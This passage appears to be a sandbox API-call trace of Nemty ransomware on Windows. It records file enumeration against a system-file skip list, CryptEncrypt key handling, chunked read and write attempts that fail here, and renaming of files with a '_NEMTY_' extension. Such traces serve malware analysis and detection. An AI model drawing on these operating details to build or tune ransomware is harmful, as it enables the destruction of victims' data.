Flags=0x0, Size=0xee) returned 0x63403b0 [0093.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0093.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0093.140] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png._nemty_kgobjgd_")) returned 0 [0093.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0093.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0093.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0093.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0093.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0093.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0093.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0093.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0093.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0093.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.140] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x213d, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0093.140] lstrcmpiW (lpString1="btn-back-static.png", lpString2=".") returned 1 [0093.140] lstrcmpiW (lpString1="btn-back-static.png", lpString2="..") returned 1 [0093.140] lstrcmpiW (lpString1="btn-back-static.png", lpString2="...") returned 1 [0093.140] lstrcmpiW (lpString1="btn-back-static.png", lpString2="windows") returned -1 [0093.140] lstrcmpiW (lpString1="btn-back-static.png", lpString2="$RECYCLE.BIN") returned 1 [0093.140] lstrcmpiW (lpString1="btn-back-static.png", lpString2="rsa") returned -1 [0093.140] lstrcmpiW (lpString1="btn-back-static.png", lpString2="NTDETECT.COM") returned -1 [0093.140] lstrcmpiW (lpString1="btn-back-static.png", lpString2="ntldr") returned -1 [0093.140] lstrcmpiW (lpString1="btn-back-static.png", lpString2="MSDOS.SYS") returned -1 [0093.140] lstrcmpiW (lpString1="btn-back-static.png", lpString2="IO.SYS") returned -1 [0093.140] lstrcmpiW (lpString1="btn-back-static.png", lpString2="boot.ini") returned 1 [0093.140] lstrcmpiW (lpString1="btn-back-static.png", lpString2="boot.ini") returned 1 [0093.140] lstrcmpiW (lpString1="btn-back-static.png", lpString2="AUTOEXEC.BAT") returned 1 [0093.140] lstrcmpiW (lpString1="btn-back-static.png", lpString2="ntuser.dat") returned -1 [0093.140] lstrcmpiW (lpString1="btn-back-static.png", lpString2="desktop.ini") returned -1 [0093.140] lstrcmpiW (lpString1="btn-back-static.png", lpString2="CONFIG.SYS") returned -1 [0093.140] lstrcmpiW (lpString1="btn-back-static.png", lpString2="RECYCLER") returned -1 [0093.141] lstrcmpiW (lpString1="btn-back-static.png", lpString2="BOOTSECT.BAK") returned 1 [0093.141] lstrcmpiW (lpString1="btn-back-static.png", lpString2="bootmgr") returned 1 [0093.141] lstrcmpiW (lpString1="btn-back-static.png", lpString2="programdata") returned -1 [0093.141] lstrcmpiW (lpString1="btn-back-static.png", lpString2="appdata") returned 1 [0093.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0093.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0093.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-back-static.png", lpUsedDefaultChar=0x0) returned 19 [0093.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0093.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0093.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-back-static.png", lpUsedDefaultChar=0x0) returned 19 [0093.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0093.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0093.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0093.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0093.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-back-static.png", lpUsedDefaultChar=0x0) returned 19 [0093.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0093.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0093.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0093.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0093.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-back-static.png", lpUsedDefaultChar=0x0) returned 19 [0093.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0093.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0093.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0093.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0093.141] Sleep (dwMilliseconds=0x5) [0093.145] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeb2a76d0, dwHighDateTime=0x1d561e7)) [0093.145] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeb2a76d0, dwHighDateTime=0x1d561e7)) [0093.145] GetLastError () returned 0x5 [0093.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0093.145] GetLastError () returned 0x5 [0093.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0093.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0093.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0093.146] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0093.146] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0093.146] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0093.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0093.146] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="n3h+OflfFAnrs5LJ9bY2TxsmTmA7lORdU0j+NjdiQa33S9XbB+a0H93m2aF2altC\r\npK2vpLyfAi7iiYWtjPuHtZopeQegBgprrIXZ0CxSFVspDedi0VNCUy6pkwVMYWcu\r\neqW+Xs4By75KVXQkDUYSbmyV9W90/orITezAJ4u3MIFpJgCJ6YV333b/i3H5Pq/6\r\nxGCk909o28RGfa7nsTw/VWd1UYoAwB1kBxsQ5VKa82ZZXGlElFVzDcJNhC9p3C76\r\n+lc8MIkqvYsup/cXbiJeEg5qPNc5ySX41r6xM3/2HB5Thv8lhKAUxti/B1eVhT/a\r\nYttrModWnPu/pHoztf72Jw==\r\n", pcchString=0x653e91c) returned 1 [0093.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0093.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0093.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0093.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0093.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0093.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0093.146] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.146] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0093.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0093.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.146] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.156] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.156] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.167] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.167] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.177] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.177] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.186] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.186] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.195] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.195] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.196] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.205] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.205] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.205] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.205] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.214] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.214] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.224] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.224] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.224] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.224] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.233] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.233] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.243] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.243] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.243] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.243] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.249] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.249] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.255] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.255] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0093.255] CloseHandle (hObject=0xffffffff) returned 0 [0093.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0093.255] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0093.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0093.255] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0093.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0093.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0093.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0093.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0093.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0093.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0093.255] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png._nemty_kgobjgd_")) returned 0 [0093.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0093.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0093.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0093.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0093.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0093.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0093.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0093.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0093.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0093.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.256] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fb8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0093.256] lstrcmpiW (lpString1="btn-next-static.png", lpString2=".") returned 1 [0093.256] lstrcmpiW (lpString1="btn-next-static.png", lpString2="..") returned 1 